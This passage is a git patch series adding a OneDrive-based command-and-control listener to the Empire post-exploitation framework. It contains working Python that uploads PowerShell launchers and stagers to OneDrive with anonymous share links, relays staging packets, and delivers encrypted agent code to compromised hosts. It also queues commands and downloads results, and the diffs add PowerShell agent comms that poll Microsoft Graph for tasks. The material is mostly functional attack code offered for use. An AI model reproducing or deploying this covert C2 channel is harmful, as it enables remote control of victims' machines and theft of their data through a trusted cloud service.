agent_code + + def start_server(self, listenerOptions): + + def get_token(client_id, code): + params = {'client_id': client_id, + 'grant_type': 'authorization_code', + 'scope': 'files.readwrite offline_access', + 'code': code, + 'redirect_uri': redirect_uri} + try: + r = s.post('https://login.microsoftonline.com/common/oauth2/v2.0/token', data=params) + r_token = r.json() + r_token['expires_at'] = time.time() + (int)(r_token['expires_in']) - 15 + r_token['update'] = True + return r_token + except KeyError, e: + print helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description'])) + raise + + def renew_token(client_id, refresh_token): + params = {'client_id': client_id, + 'grant_type': 'refresh_token', + 'scope': 'files.readwrite offline_access', + 'refresh_token': refresh_token, + 'redirect_uri': redirect_uri} + try: + r = s.post('https://login.microsoftonline.com/common/oauth2/v2.0/token', data=params) + r_token = r.json() + r_token['expires_at'] = time.time() + (int)(r_token['expires_in']) - 15 + r_token['update'] = True + return r_token + except KeyError, e: + print helpers.color("[!] Something went wrong, HTTP response %d, error code %s: %s" % (r.status_code, r.json()['error_codes'], r.json()['error_description'])) + raise + + def test_token(token): + headers = s.headers.copy() + headers['Authorization'] = 'Bearer ' + token + + request = s.get("%s/drive" % base_url, headers=headers) + + return request.ok + + def setup_folders(): + if not (test_token(token['access_token'])): + raise ValueError("Could not set up folders, access token invalid") + + base_object = s.get("%s/drive/root:/%s" % (base_url, base_folder)) + if not (base_object.status_code == 200): + print helpers.color("[*] Creating %s folder" % base_folder) + params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': base_folder} + base_object = s.post("%s/drive/items/root/children" % base_url, json=params) + else: + print helpers.color("[*] %s folder already exists" % base_folder) + + for item in [staging_folder, taskings_folder, results_folder]: + item_object = s.get("%s/drive/root:/%s/%s" % (base_url, base_folder, item)) + if not (item_object.status_code == 200): + print helpers.color("[*] Creating %s/%s folder" % (base_folder, item)) + params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': item} + item_object = s.post("%s/drive/items/%s/children" % (base_url, base_object.json()['id']), json=params) + else: + print helpers.color("[*] %s/%s already exists" % (base_folder, item)) + + def upload_launcher(): + ps_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=False, userAgent='none', proxy='none', proxyCreds='none') + #py_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='python', encode=False, userAgent='none', proxy='none', proxyCreds='none') + + r = s.put("%s/drive/root:/%s/%s/%s:/content" %(base_url, base_folder, staging_folder, "LAUNCHER-PS.TXT"), + data=ps_launcher, headers={"Content-Type": "text/plain"}) + + if r.status_code == 201 or r.status_code == 200: + item = r.json() + r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']), + json={"scope": "anonymous", "type": "view"}, + headers={"Content-Type": "application/json"}) + launcher_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId'] + #print helpers.color("[*] PS Launcher URL for %s: %s" % (listener_name, launcher_url)) + + #r = s.put("%s/drive/root:/%s/%s/%s:/content" %(base_url, base_folder, staging_folder, "STAGE0PY.TXT"), + #data=py_launcher, headers={"Content-Type": "text/plain"}) + + def upload_stager(): + ps_stager = self.generate_stager(listenerOptions=listener_options, language='powershell', token=token['access_token']) + r = s.put("%s/drive/root:/%s/%s/%s:/content" % (base_url, base_folder, staging_folder, "STAGE0-PS.txt"), + data=ps_stager, headers={"Content-Type": "application/octet-stream"}) + if r.status_code == 201 or r.status_code == 200: + item = r.json() + r = s.post("%s/drive/items/%s/createLink" % (base_url, item['id']), + json={"scope": "anonymous", "type": "view"}, + headers={"Content-Type": "application/json"}) + stager_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId'] + #Different domain for some reason? + self.mainMenu.listeners.activeListeners[listener_name]['stager_url'] = stager_url + + else: + print helpers.color("[!] Something went wrong uploading stager") + print r.json() + + listener_options = copy.deepcopy(listenerOptions) + + listener_name = listener_options['Name']['Value'] + staging_key = listener_options['StagingKey']['Value'] + poll_interval = listener_options['PollInterval']['Value'] + client_id = listener_options['ClientID']['Value'] + auth_code = listener_options['AuthCode']['Value'] + refresh_token = listener_options['RefreshToken']['Value'] + base_folder = listener_options['BaseFolder']['Value'] + staging_folder = listener_options['StagingFolder']['Value'].strip('/') + taskings_folder = listener_options['TaskingsFolder']['Value'].strip('/') + results_folder = listener_options['ResultsFolder']['Value'].strip('/') + redirect_uri = listener_options['RedirectURI']['Value'] + base_url = "https://graph.microsoft.com/v1.0" + + s = Session() + + if refresh_token: + token = renew_token(client_id, refresh_token) + dispatcher.send("[*] Refreshed auth token", sender="listeners/onedrive") + else: + token = get_token(client_id, auth_code) + dispatcher.send("[*] Got new auth token", sender="listeners/onedrive") + + s.headers['Authorization'] = "Bearer " + token['access_token'] + + setup_folders() + + while True: + #Wait until Empire is aware the listener is running + try: + if listener_name in self.mainMenu.listeners.activeListeners.keys(): + upload_stager() + upload_launcher() + break + else: + time.sleep(1) + except AttributeError: + time.sleep(1) + + while True: + time.sleep(int(poll_interval)) + try: + if time.time() > token['expires_at']: + token = renew_token(client_id, token['refresh_token']) + s.headers['Authorization'] = "Bearer " + token['access_token'] + dispatcher.send("[*] Refreshed auth token", sender="listeners/onedrive") + upload_stager() + if token['update']: + self.mainMenu.listeners.update_listener_options(listener_name, "RefreshToken", token['refresh_token']) + token['update'] = False + + search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, staging_folder)) + for item in search.json()['children']: + try: + reg = re.search("^([A-Z0-9]+)_([0-9]).txt", item['name']) + if not reg: + continue + agent_name, stage = reg.groups() + if stage == '1': + print "Stage 1" + dispatcher.send("[*] Downloading %s/%s, %d bytes" % (staging_folder, item['name'], item['size']), sender="listeners/onedrive") + content = s.get(item['@microsoft.graph.downloadUrl']).content + lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0] + dispatcher.send("[*] Uploading %s/%s/%s_2.txt, %d bytes" % (base_folder, staging_folder, agent_name, len(return_val)), sender="listeners/onedrive") + s.put("%s/drive/root:/%s/%s/%s_2.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=return_val) + dispatcher.send("[*] Deleting %s/%s" % (staging_folder, item['name']), sender="listeners/onedrive") + s.delete("%s/drive/items/%s" % (base_url, item['id'])) + + if stage == '3': + print "Stage 3" + dispatcher.send("[*] Downloading %s/%s, %d bytes" % (staging_folder, item['name'], item['size']), sender="listeners/onedrive") + content = s.get(item['@microsoft.graph.downloadUrl']).content + lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0] + + session_key = self.mainMenu.agents.agents[agent_name]['sessionKey'] + agent_token = renew_token(client_id, token['refresh_token']) + agent_code = str(self.generate_agent(listener_options, client_id, agent_token['access_token'], + agent_token['refresh_token'], redirect_uri, lang)) + enc_code = encryption.aes_encrypt_then_hmac(session_key, agent_code) + + dispatcher.send("[*] Uploading %s/%s/%s_4.txt, %d bytes" % (base_folder, staging_folder, agent_name, len(enc_code)), sender="listeners/onedrive") + s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=enc_code) + dispatcher.send("[*] Deleting %s/%s" % (staging_folder, item['name']), sender="listeners/onedrive") + s.delete("%s/drive/items/%s" % (base_url, item['id'])) + + except Exception, e: + print(traceback.format_exc()) + + agent_ids = self.mainMenu.agents.get_agents_for_listener(listener_name) + for agent_id in agent_ids: + task_data = self.mainMenu.agents.handle_agent_request(agent_id, 'powershell', staging_key, update_lastseen=False) + if task_data: + try: + r = s.get("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id)) + if r.status_code == 200: + task_data = r.content + task_data + + dispatcher.send("[*] Uploading agent tasks for %s, %d bytes" % + (agent_id, len(task_data)), sender="listeners/onedrive") + + r = s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = task_data) + except Exception, e: + dispatcher.send("[!] Error uploading agent tasks for %s, %s" % (agent_id, e)) + + search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, results_folder)) + for item in search.json()['children']: + try: + agent_id = item['name'].split(".")[0] + if not agent_id in agent_ids: + dispatcher.send("[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name']), sender="listeners/onedrive") + s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = "RESTAGE") + s.delete("%s/drive/items/%s" % (base_url, item['id'])) + continue + + try: + seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%S.%fZ") + except: #sometimes no ms for some reason... + seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%SZ") + seen_time = helpers.utc_to_local(seen_time) + self.mainMenu.agents.update_agent_lastseen_db(agent_id, seen_time) + + if(item['size'] > 1): #only need to download results if there's actually something there + dispatcher.send("[*] Downloading results from %s/%s, %d bytes" % (results_folder, item['name'], item['size']), sender="listeners/onedrive") + r = s.get(item['@microsoft.graph.downloadUrl']) + self.mainMenu.agents.handle_agent_data(staging_key, r.content, listener_options, update_lastseen=False) + dispatcher.send("[*] Deleting %s/%s" % (results_folder, item['name']), sender="listeners/onedrive") + s.delete("%s/drive/items/%s" % (base_url, item['id'])) + except Exception, e: + dispatcher.send("[!] Error handling agent results for %s, %s" % (item['name'], e), sender="listeners/onedrive") + + except Exception, e: + print(traceback.format_exc()) + + s.close() + + + def start(self, name=''): + """ + Start a threaded instance of self.start_server() and store it in the + self.threads dictionary keyed by the listener name. + + """ + listenerOptions = self.options + if name and name != '': + self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.threads[name].start() + time.sleep(3) + # returns True if the listener successfully started, false otherwise + return self.threads[name].is_alive() + else: + name = listenerOptions['Name']['Value'] + self.threads[name] = helpers.KThread(target=self.start_server, args=(listenerOptions,)) + self.threads[name].start() + time.sleep(3) + # returns True if the listener successfully started, false otherwise + return self.threads[name].is_alive() + + + def shutdown(self, name=''): + """ + Terminates the server thread stored in the self.threads dictionary, + keyed by the listener name. + """ + + if name and name != '': + print helpers.color("[!] Killing listener '%s'" % (name)) + self.threads[name].kill() + else: + print helpers.color("[!] Killing listener '%s'" % (self.options['Name']['Value'])) + self.threads[self.options['Name']['Value']].kill() + From 159e835b672765ecd4b52a56c91fb63c683e6936 Mon Sep 17 00:00:00 2001 From: mr64bit Date: Tue, 6 Mar 2018 14:14:22 -0500 Subject: [PATCH 3/7] Add comments, fix function declaration in comms code --- lib/listeners/onedrive.py | 68 +++++++++++++++++++-------------------- 1 file changed, 33 insertions(+), 35 deletions(-) diff --git a/lib/listeners/onedrive.py b/lib/listeners/onedrive.py index f11c1c9..d03ec10 100644 --- a/lib/listeners/onedrive.py +++ b/lib/listeners/onedrive.py @@ -142,6 +142,7 @@ class Listener: self.uris = [a.strip('/') for a in self.options['DefaultProfile']['Value'].split('|')[0].split(',')] + #If we don't have an OAuth code yet, give the user a URL to get it if (str(self.options['RefreshToken']['Value']).strip() == '') and (str(self.options['AuthCode']['Value']).strip() == ''): if (str(self.options['ClientID']['Value']).strip() == ''): print helpers.color("[!] ClientID needed to generate AuthCode URL!") @@ -322,6 +323,9 @@ class Listener: else: return randomized_stager + else: + print helpers.color("[!] Python agent not available for Onedrive") + def generate_comms(self, listener_options, client_id, token, refresh_token, redirect_uri, language=None): staging_key = listener_options['StagingKey']['Value'] @@ -334,9 +338,10 @@ class Listener: return if language.lower() == "powershell": + #Function to generate a WebClient object with the required headers token_manager = """ $Script:TokenObject = @{token="%s";refresh="%s";expires=(Get-Date).addSeconds(3480)}; - function script:Get-WebClient { + $script:GetWebClient = { $wc = New-Object System.Net.WebClient $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; @@ -360,12 +365,12 @@ class Listener: $wc.headers.add("User-Agent", $script:UserAgent) $wc.headers.add("Authorization", "Bearer $($Script:TokenObject.token)") $Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)} - return $wc + $wc } """ % (token, refresh_token, client_id, redirect_uri) post_message = """ - function script:send-message { + $script:SendMessage = { param($packets) if($packets) { @@ -375,7 +380,7 @@ class Listener: $RoutingPacket = "" } - $wc = Get-WebClient + $wc = (& $GetWebClient) $resultsFolder = "%s" try { @@ -388,7 +393,7 @@ class Listener: $routingPacket = $data + $routingPacket } - $wc = Get-WebClient + $wc = (& $GetWebClient) $null = $wc.UploadData("https://graph.microsoft.com/v1.0/drive/root:/$resultsFolder/$($script:SessionID).txt:/content", "PUT", $RoutingPacket) $script:missedChecking = 0 $script:lastseen = get-date @@ -403,28 +408,26 @@ class Listener: get_message = """ $script:lastseen = Get-Date - function script:get-task { + $script:GetTask = { try { - $wc = Get-WebClient + $wc = (& $GetWebClient) $TaskingsFolder = "%s" #If we haven't sent a message recently... if($script:lastseen.addseconds($script:AgentDelay * 2) -lt (get-date)) { - send-message -packets "" + (& $SendMessage -packets "") } $script:MissedCheckins = 0 $data = $wc.DownloadData("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($script:SessionID).txt:/content") if($data -and ($data.length -ne 0)) { - $wc = Get-WebClient + $wc = (& $GetWebClient) $null = $wc.UploadString("https://graph.microsoft.com/v1.0/drive/root:/$TaskingsFolder/$($script:SessionID).txt", "DELETE", "") if([system.text.encoding]::utf8.getString($data) -eq "RESTAGE") { - write-host "Restaging" Start-Negotiate -T $script:TokenObject.token -SK $SK -PI $PI -UA $UA } - write-host "returning" $Data } } @@ -479,6 +482,7 @@ class Listener: def start_server(self, listenerOptions): + # Utility functions to handle auth tasks and initial setup def get_token(client_id, code): params = {'client_id': client_id, 'grant_type': 'authorization_code', @@ -542,7 +546,6 @@ class Listener: def upload_launcher(): ps_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=False, userAgent='none', proxy='none', proxyCreds='none') - #py_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='python', encode=False, userAgent='none', proxy='none', proxyCreds='none') r = s.put("%s/drive/root:/%s/%s/%s:/content" %(base_url, base_folder, staging_folder, "LAUNCHER-PS.TXT"), data=ps_launcher, headers={"Content-Type": "text/plain"}) @@ -553,10 +556,6 @@ class Listener: json={"scope": "anonymous", "type": "view"}, headers={"Content-Type": "application/json"}) launcher_url = "https://api.onedrive.com/v1.0/shares/%s/driveitem/content" % r.json()['shareId'] - #print helpers.color("[*] PS Launcher URL for %s: %s" % (listener_name, launcher_url)) - - #r = s.put("%s/drive/root:/%s/%s/%s:/content" %(base_url, base_folder, staging_folder, "STAGE0PY.TXT"), - #data=py_launcher, headers={"Content-Type": "text/plain"}) def upload_stager(): ps_stager = self.generate_stager(listenerOptions=listener_options, language='powershell', token=token['access_token']) @@ -604,7 +603,7 @@ class Listener: setup_folders() while True: - #Wait until Empire is aware the listener is running + #Wait until Empire is aware the listener is running, so we can save our refresh token and stager URL try: if listener_name in self.mainMenu.listeners.activeListeners.keys(): upload_stager() @@ -617,8 +616,8 @@ class Listener: while True: time.sleep(int(poll_interval)) - try: - if time.time() > token['expires_at']: + try: #Wrap the whole loop in a try/catch so one error won't kill the listener + if time.time() > token['expires_at']: #Get a new token if the current one has expired token = renew_token(client_id, token['refresh_token']) s.headers['Authorization'] = "Bearer " + token['access_token'] dispatcher.send("[*] Refreshed auth token", sender="listeners/onedrive") @@ -628,49 +627,47 @@ class Listener: token['update'] = False search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, staging_folder)) - for item in search.json()['children']: + for item in search.json()['children']: #Iterate all items in the staging folder try: reg = re.search("^([A-Z0-9]+)_([0-9]).txt", item['name']) if not reg: continue agent_name, stage = reg.groups() - if stage == '1': - print "Stage 1" - dispatcher.send("[*] Downloading %s/%s, %d bytes" % (staging_folder, item['name'], item['size']), sender="listeners/onedrive") + if stage == '1': #Download stage 1, upload stage 2 + dispatcher.send("[*] Downloading %s/%s/%s, %d bytes" % (base_folder, staging_folder, item['name'], item['size']), sender="listeners/onedrive") content = s.get(item['@microsoft.graph.downloadUrl']).content lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0] dispatcher.send("[*] Uploading %s/%s/%s_2.txt, %d bytes" % (base_folder, staging_folder, agent_name, len(return_val)), sender="listeners/onedrive") s.put("%s/drive/root:/%s/%s/%s_2.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=return_val) - dispatcher.send("[*] Deleting %s/%s" % (staging_folder, item['name']), sender="listeners/onedrive") + dispatcher.send("[*] Deleting %s/%s/%s" % (base_folder, staging_folder, item['name']), sender="listeners/onedrive") s.delete("%s/drive/items/%s" % (base_url, item['id'])) - if stage == '3': - print "Stage 3" - dispatcher.send("[*] Downloading %s/%s, %d bytes" % (staging_folder, item['name'], item['size']), sender="listeners/onedrive") + if stage == '3': #Download stage 3, upload stage 4 (full agent code) + dispatcher.send("[*] Downloading %s/%s/%s, %d bytes" % (base_folder, staging_folder, item['name'], item['size']), sender="listeners/onedrive") content = s.get(item['@microsoft.graph.downloadUrl']).content lang, return_val = self.mainMenu.agents.handle_agent_data(staging_key, content, listener_options)[0] session_key = self.mainMenu.agents.agents[agent_name]['sessionKey'] - agent_token = renew_token(client_id, token['refresh_token']) + agent_token = renew_token(client_id, token['refresh_token']) #Get auth and refresh tokens for the agent to use agent_code = str(self.generate_agent(listener_options, client_id, agent_token['access_token'], agent_token['refresh_token'], redirect_uri, lang)) enc_code = encryption.aes_encrypt_then_hmac(session_key, agent_code) dispatcher.send("[*] Uploading %s/%s/%s_4.txt, %d bytes" % (base_folder, staging_folder, agent_name, len(enc_code)), sender="listeners/onedrive") s.put("%s/drive/root:/%s/%s/%s_4.txt:/content" % (base_url, base_folder, staging_folder, agent_name), data=enc_code) - dispatcher.send("[*] Deleting %s/%s" % (staging_folder, item['name']), sender="listeners/onedrive") + dispatcher.send("[*] Deleting %s/%s/%s" % (base_folder, staging_folder, item['name']), sender="listeners/onedrive") s.delete("%s/drive/items/%s" % (base_url, item['id'])) except Exception, e: print(traceback.format_exc()) agent_ids = self.mainMenu.agents.get_agents_for_listener(listener_name) - for agent_id in agent_ids: + for agent_id in agent_ids: #Upload any tasks for the current agents task_data = self.mainMenu.agents.handle_agent_request(agent_id, 'powershell', staging_key, update_lastseen=False) if task_data: try: r = s.get("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id)) - if r.status_code == 200: + if r.status_code == 200: # If there's already something there, download and append the new data task_data = r.content + task_data dispatcher.send("[*] Uploading agent tasks for %s, %d bytes" % @@ -681,23 +678,24 @@ class Listener: dispatcher.send("[!] Error uploading agent tasks for %s, %s" % (agent_id, e)) search = s.get("%s/drive/root:/%s/%s?expand=children" % (base_url, base_folder, results_folder)) - for item in search.json()['children']: + for item in search.json()['children']: #For each file in the results folder try: agent_id = item['name'].split(".")[0] - if not agent_id in agent_ids: + if not agent_id in agent_ids: #If we don't recognize that agent, upload a message to restage dispatcher.send("[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name']), sender="listeners/onedrive") s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = "RESTAGE") s.delete("%s/drive/items/%s" % (base_url, item['id'])) continue - try: + try: #Update the agent's last seen time, from the file timestamp seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%S.%fZ") except: #sometimes no ms for some reason... seen_time = datetime.strptime(item['lastModifiedDateTime'], "%Y-%m-%dT%H:%M:%SZ") seen_time = helpers.utc_to_local(seen_time) self.mainMenu.agents.update_agent_lastseen_db(agent_id, seen_time) - if(item['size'] > 1): #only need to download results if there's actually something there + #If the agent is just checking in, the file will only be 1 byte, so no results to fetch + if(item['size'] > 1): dispatcher.send("[*] Downloading results from %s/%s, %d bytes" % (results_folder, item['name'], item['size']), sender="listeners/onedrive") r = s.get(item['@microsoft.graph.downloadUrl']) self.mainMenu.agents.handle_agent_data(staging_key, r.content, listener_options, update_lastseen=False) From 14468216b7bbf203dfaa064f57b0f629f08168fc Mon Sep 17 00:00:00 2001 From: mr64bit Date: Tue, 6 Mar 2018 15:37:34 -0500 Subject: [PATCH 4/7] Add link to setup instructions to listener. Add warning about stager file. --- lib/listeners/onedrive.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/listeners/onedrive.py b/lib/listeners/onedrive.py index d03ec10..a652297 100644 --- a/lib/listeners/onedrive.py +++ b/lib/listeners/onedrive.py @@ -22,9 +22,9 @@ class Listener: self.info = { 'Name': 'Onedrive', 'Author': ['@mr64bit'], - 'Description': ('Starts a Onedrive listener.'), + 'Description': ('Starts a Onedrive listener. Setup instructions here: gist.github.com/mr64bit/3fd8f321717c9a6423f7949d494b6cd9'), 'Category': ('third_party'), - 'Comments': [] + 'Comments': ["Note that deleting STAGE0-PS.txt from the staging folder will break existing launchers"] } self.options = { From c37874a546d9eb3b1d89665e768f006c59405cb3 Mon Sep 17 00:00:00 2001 From: Chris Ross Date: Wed, 14 Mar 2018 01:43:09 -0400 Subject: [PATCH 5/7] Fix line 302 & 305 in onedrive.py listener class agent_delay variable cannot be used in place of the REPLACE_POLLING_INTERVAL string. working_hours was not being used. --- lib/listeners/onedrive.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/listeners/onedrive.py b/lib/listeners/onedrive.py index a652297..f9e8581 100644 --- a/lib/listeners/onedrive.py +++ b/lib/listeners/onedrive.py @@ -289,7 +289,7 @@ class Listener: staging_folder = listenerOptions['StagingFolder']['Value'] working_hours = listenerOptions['WorkingHours']['Value'] profile = listenerOptions['DefaultProfile']['Value'] - agent_delay = listenerOptions['DefaultDelay']['Value'] + poll_interval = listenerOptions['PollInterval']['Value'] if language.lower() == 'powershell': f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath) @@ -299,10 +299,10 @@ class Listener: stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)) stager = stager.replace('REPLACE_STAGING_KEY', staging_key) stager = stager.replace("REPLACE_TOKEN", token) - stager = stager.replace("REPLACE_POLLING_INTERVAL", agent_delay) + stager = stager.replace("REPLACE_POLLING_INTERVAL", poll_interval) if working_hours != "": - stager = stager.replace("REPLACE_WORKING_HOURS") + stager = stager.replace("REPLACE_WORKING_HOURS", working_hours) randomized_stager = '' From 5028e29879d2169ec5e7dedae27607ee7a6423cf Mon Sep 17 00:00:00 2001 From: Chris Ross Date: Wed, 14 Mar 2018 13:40:40 -0400 Subject: [PATCH 6/7] Replace poll_interval var with agent_delay --- lib/listeners/onedrive.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/listeners/onedrive.py b/lib/listeners/onedrive.py index f9e8581..8f1d33e 100644 --- a/lib/listeners/onedrive.py +++ b/lib/listeners/onedrive.py @@ -289,7 +289,7 @@ class Listener: staging_folder = listenerOptions['StagingFolder']['Value'] working_hours = listenerOptions['WorkingHours']['Value'] profile = listenerOptions['DefaultProfile']['Value'] - poll_interval = listenerOptions['PollInterval']['Value'] + agent_delay = listenerOptions['DefaultDelay']['Value'] if language.lower() == 'powershell': f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath) @@ -299,7 +299,7 @@ class Listener: stager = stager.replace("REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)) stager = stager.replace('REPLACE_STAGING_KEY', staging_key) stager = stager.replace("REPLACE_TOKEN", token) - stager = stager.replace("REPLACE_POLLING_INTERVAL", poll_interval) + stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay)) if working_hours != "": stager = stager.replace("REPLACE_WORKING_HOURS", working_hours) From 4281e98c2480fafa8bc4b72ec448b76449a7769a Mon Sep 17 00:00:00 2001 From: mr64bit Date: Wed, 14 Mar 2018 15:47:48 -0400 Subject: [PATCH 7/7] Fix agent last-seen issue with other listeners, decrease verbosity of error messages --- lib/common/agents.py | 2 +- lib/listeners/onedrive.py | 14 ++++++++------ 2 files changed, 9 insertions(+), 7 deletions(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index 962d7e8..2f26c6c 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -1362,7 +1362,7 @@ class Agents: dispatcher.send("[!] Invalid staging request packet from %s at %s : %s" % (sessionID, clientIP, meta), sender='Agents') - def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0', update_lastseen=False): + def handle_agent_data(self, stagingKey, routingPacket, listenerOptions, clientIP='0.0.0.0', update_lastseen=True): """ Take the routing packet w/ raw encrypted data from an agent and process as appropriately. diff --git a/lib/listeners/onedrive.py b/lib/listeners/onedrive.py index a652297..1b711da 100644 --- a/lib/listeners/onedrive.py +++ b/lib/listeners/onedrive.py @@ -533,7 +533,7 @@ class Listener: params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': base_folder} base_object = s.post("%s/drive/items/root/children" % base_url, json=params) else: - print helpers.color("[*] %s folder already exists" % base_folder) + dispatcher.send("[*] %s folder already exists" % base_folder, sender="listeners/onedrive") for item in [staging_folder, taskings_folder, results_folder]: item_object = s.get("%s/drive/root:/%s/%s" % (base_url, base_folder, item)) @@ -542,7 +542,7 @@ class Listener: params = {'@microsoft.graph.conflictBehavior': 'rename', 'folder': {}, 'name': item} item_object = s.post("%s/drive/items/%s/children" % (base_url, base_object.json()['id']), json=params) else: - print helpers.color("[*] %s/%s already exists" % (base_folder, item)) + dispatcher.send("[*] %s/%s already exists" % (base_folder, item), sender="listeners/onedrive") def upload_launcher(): ps_launcher = self.mainMenu.stagers.generate_launcher(listener_name, language='powershell', encode=False, userAgent='none', proxy='none', proxyCreds='none') @@ -572,7 +572,7 @@ class Listener: else: print helpers.color("[!] Something went wrong uploading stager") - print r.json() + dispatcher.send(r.content, sender="listeners/onedrive") listener_options = copy.deepcopy(listenerOptions) @@ -659,7 +659,8 @@ class Listener: s.delete("%s/drive/items/%s" % (base_url, item['id'])) except Exception, e: - print(traceback.format_exc()) + print helpers.color("[!] Could not handle agent staging for listener %s, continuing" % listener_name) + dispatcher.send(traceback.format_exc(), sender="listeners/onedrive") agent_ids = self.mainMenu.agents.get_agents_for_listener(listener_name) for agent_id in agent_ids: #Upload any tasks for the current agents @@ -682,7 +683,7 @@ class Listener: try: agent_id = item['name'].split(".")[0] if not agent_id in agent_ids: #If we don't recognize that agent, upload a message to restage - dispatcher.send("[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name']), sender="listeners/onedrive") + print helpers.color("[*] Invalid agent, deleting %s/%s and restaging" % (results_folder, item['name'])) s.put("%s/drive/root:/%s/%s/%s.txt:/content" % (base_url, base_folder, taskings_folder, agent_id), data = "RESTAGE") s.delete("%s/drive/items/%s" % (base_url, item['id'])) continue @@ -705,7 +706,8 @@ class Listener: dispatcher.send("[!] Error handling agent results for %s, %s" % (item['name'], e), sender="listeners/onedrive") except Exception, e: - print(traceback.format_exc()) + print helpers.color("[!] Something happened in listener %s: %s, continuing" % (listener_name, e)) + dispatcher.send(traceback.format_exc(), sender="listeners/onedrive") s.close()